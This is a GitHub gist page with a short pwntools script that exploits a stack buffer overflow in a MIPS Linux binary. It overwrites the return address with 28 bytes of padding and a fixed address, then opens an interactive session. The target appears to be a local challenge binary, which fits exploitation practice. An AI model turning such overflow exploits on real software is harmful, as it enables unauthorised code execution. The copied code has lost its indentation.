Skip to content

Instantly share code, notes, and snippets.

@OlivierLaflamme
Created January 26, 2023 20:39
Show Gist options
  • Save OlivierLaflamme/12bb3be33bd2085703f3ec0796bc7c11 to your computer and use it in GitHub Desktop.
Save OlivierLaflamme/12bb3be33bd2085703f3ec0796bc7c11 to your computer and use it in GitHub Desktop.
from pwn import *
context(arch='mips', os='linux', log_level='debug')
file_name = './exp'
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'a' * (0x18 + 4) + p32(0x4003b0)
r.sendline(p1)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment